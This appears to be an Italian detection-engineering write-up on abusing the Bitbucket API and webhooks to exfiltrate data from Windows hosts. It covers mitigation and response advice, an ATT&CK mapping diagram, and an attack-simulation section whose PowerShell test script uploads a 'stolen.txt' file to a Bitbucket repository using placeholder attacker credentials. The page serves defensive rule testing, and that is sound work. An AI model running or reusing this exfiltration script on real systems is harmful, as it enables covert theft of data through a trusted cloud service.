Abuso dell’API di Bitbucket: Un Trucco Semplice per il Furto di Dati in Modo Invisibile
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Questo proof of concept mostra come un piccolo programma C possa abusare della Bitbucket webhook API per esfiltrare telemetria del sistema host da un sistema Windows compromesso. Raccoglie dettagli come hostname, build del sistema operativo, informazioni sulla CPU e dati dell’adattatore di rete, poi nasconde l’output dentro il campo descrizione di una webhook appena creata, fondendosi silenziosamente con il normale traffico cloud.
Indagine
L’autore condivide il codice sorgente completo, i passaggi di costruzione e richieste curl di esempio per creare, ispezionare e eliminare il webhook utilizzato per la fuoriuscita end-to-end. Il binario compilato è stato eseguito su un host Windows 10 x64 22H2 in un sandbox ANY.RUN e ha trasmesso dati senza allarmi evidenti. Il write-up annota anche abusi simili di piattaforme Git documentati in recenti attività APT.
Mitigazione
Monitorare HTTPS in uscita verso Bitbucket e altri host di codice, e segnalare chiamate API che creano webhooks inaspettatamente o contengono testo descrittivo strano. Richiedere autenticazione forte, limitare e definire token API, applicare il principio del minimo privilegio e verificare regolarmente le modifiche alla configurazione del repository.
Risposta
Al rilevamento, bloccare il traffico Bitbucket in uscita dall’host, revocare i token API esposti e inventariare i webhooks attraverso i repository per rimuovere voci malevole. Raccogliere artefatti degli endpoint per la forensica, scansionare per payload successivi e ruotare le credenziali per account CI/CD e sviluppatore.
"graph TB %% Class definitions classDef technique fill:#ffcccc classDef tool fill:#cce5ff classDef action fill:#d5f5d6 %% Nodes action_collect["<b>Azione</b> – Raccogliere informazioni di sistema"] class action_collect action tech_sysinfo["<b>Tecnica</b> – <b>T1082 Scoperta Informazioni di Sistema</b><br/><b>Descrizione</b>: Raccoglie dettagli sull’host come hostname, versione OS, architettura CPU, conteggio processori, unità logiche e indirizzi IP."] class tech_sysinfo technique tool_bitbucket["<b>Strumento</b> – Bitbucket Cloud REST API<br/><b>Metodo</b>: POST con username codificato Base64:APIu2011token"] class tool_bitbucket tool tech_webservice["<b>Tecnica</b> – <b>T1102.002 Servizio Web: Comunicazione Bidirezionale</b><br/><b>Descrizione</b>: Usa un’API di servizio web legittima per inviare e ricevere dati."] class tech_webservice technique tech_exfil_repo["<b>Tecnica</b> – <b>T1567.001 Esfiltrazione tramite Servizio Web: Esfiltrazione a Repository di Codice</b><br/><b>Descrizione</b>: Carica i dati raccolti in un repository di hosting codice tramite l’API del servizio."] class tech_exfil_repo technique tech_exfil_webhook["<b>Tecnica</b> – <b>T1567.004 Esfiltrazione tramite Servizio Web: Esfiltrazione tramite Webhook</b><br/><b>Descrizione</b>: Invia dati attraverso un webhook configurato per trasportare informazioni fuori dall’ambiente."] class tech_exfil_webhook technique tech_obfuscation["<b>Tecnica</b> – <b>T1001.003 Offuscamento Dati: Impersonazione di Protocollo o Servizio</b><br/><b>Descrizione</b>: Maschera il traffico malevolo come normali chiamate API a un servizio di fiducia."] class tech_obfuscation technique %% Connections action_collect –>|utilizza| tech_sysinfo tech_sysinfo –>|fornisce dati a| tool_bitbucket tool_bitbucket –>|sfrutta| tech_webservice tool_bitbucket –>|crea webhook per| tech_exfil_repo tool_bitbucket –>|crea webhook per| tech_exfil_webhook tech_webservice –>|è nascosto da| tech_obfuscation tech_exfil_repo –>|esfiltra dati tramite| tech_obfuscation tech_exfil_webhook –>|esfiltra dati tramite| tech_obfuscation "
Flusso dell’Attacco
Esecuzione della Simulazione
Prerequisito: Il Controllo Pre‑volo della Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.
-
Narrazione & Comandi dell’Attacco:
L’avversario simulato ha ottenuto un piccolo insieme di dati (ad esempio,C:tempstolen.txt) e desidera esfiltrarlo in un repository privato Bitbucket senza destare sospetti. Per integrarsi con strumenti di sviluppo legittimi, l’attaccante sceglie l’oggetto COM WinHTTP nativo (WinHttp.WinHttpRequest.5.1) perché è comunemente presente su sistemi Windows e invoca direttamente ilWinHttpConnectandWinHttpSendRequestfunzioni che la regola di rilevamento osserva.- Creare un file temporaneo contenente dati esfil dummy.
- Istanziare l’oggetto COM WinHTTP.
- Aprire una connessione POST a
https://api.bitbucket.org/2.0/repositories/<team>/<repo>/src. - Impostare intestazioni appropriate (
Authorization: Basic …,Content-Type: multipart/form-data). - Inviare il contenuto del file.
- Verificare la risposta HTTP 200.
Questa sequenza esatta provoca a Sysmon di registrare un evento di
NetworkConnectdove il processo ispowershell.exee la funzione catena includeWinHttpConnectandWinHttpSendRequestsoddisfacendo la regola Sigma. -
Script di Test di Regressione:
# -------------------------------------------------------------- # Esfiltrazione API Bitbucket tramite WinHTTP (Attivazione Regola Sigma) # -------------------------------------------------------------- $tempFile = "C:tempstolen.txt" $repoOwner = "evilcorp" $repoName = "leaked-data" $username = "eviluser" $appPassword = "APPPASSWD" # Base64 di "username:appPassword" $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword")) # 1. Creare dati dummy se non presenti if (-not (Test-Path $tempFile)) { "Dati sensibili raccolti dall'avversario" | Set-Content -Path $tempFile -Encoding UTF8 } # 2. Costruire payload multipart/form-data $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)" $body = @" --$boundary Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)" Content-Type: application/octet-stream
$(Get-Content $tempFile -Raw) –$boundary– “@
# 3. Inizializzare oggetto COM WinHTTP
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"
# 4. Aprire richiesta POST
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false) # richiesta sincronizzata
# 5. Impostare intestazioni richieste
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
# 6. Inviare payload (questo attiva WinHttpConnect + WinHttpSendRequest)
$winHttp.Send($body)
# 7. Stato di risposta output per verifica
Write-Host "HTTP Status:" $winHttp.Status
Write-Host "Response Body:" $winHttp.ResponseText
-
Comandi di Pulizia:
# Rimuovere file temporaneo Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue # Opzionalmente revocare manualmente tramite interfaccia web la password app Bitbucket Write-Host "Pulizia completata. Ricorda di eliminare il file caricato dal repository se necessario."